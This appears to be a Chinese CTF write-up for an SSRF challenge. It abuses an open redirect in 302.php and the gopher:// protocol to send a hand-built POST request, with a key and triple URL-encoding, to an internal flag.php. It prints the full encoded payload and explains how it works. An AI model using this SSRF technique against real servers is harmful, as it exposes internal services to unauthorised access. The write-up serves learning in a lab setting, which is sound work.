提示:
訪問題目url,先嘗試一下flag.php,發現一個key值
根據提示嘗試一下302.php
得到提示
header("Location:{$_GET['url']}");的意思是重定向頁面到GET到url的內容,根據提示我們要構造一個POST請求
一般格式:
POST /flag.php HTTP/1.1 //flag肯定是在flag.php里
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded //文本類型
Content-Length: 36 //長度為下面全部數據的長度
key=a80ea933ead842996c204517423ae75e //key值是前面得到的
然后進行url三次編碼即(注:第一次url編碼后要手動在所有%0A前面加上%0D,再進行后續編碼)
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253Da80ea933ead842996c204517423ae75e
這里運用了gopher協議,先構造payload再解釋
gopher協議:互聯網上使用的分布型的文件搜集獲取網絡協議,是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息
使用方法:gopher://ip:port/_payload
此題整體思路:嘗試讀取flag.php和提示的302.php --> 根據所得信息選擇SSRF漏洞可用的url偽協議 --> 構造payload
payload解釋:根據302.php的源碼可以知道,需要以GET方式傳遞一個url參數,並且會重定向到其指定的地址,用gopher協議可以查看該地址的信息,進行三次的url編碼是因為客戶端到服務端解析方式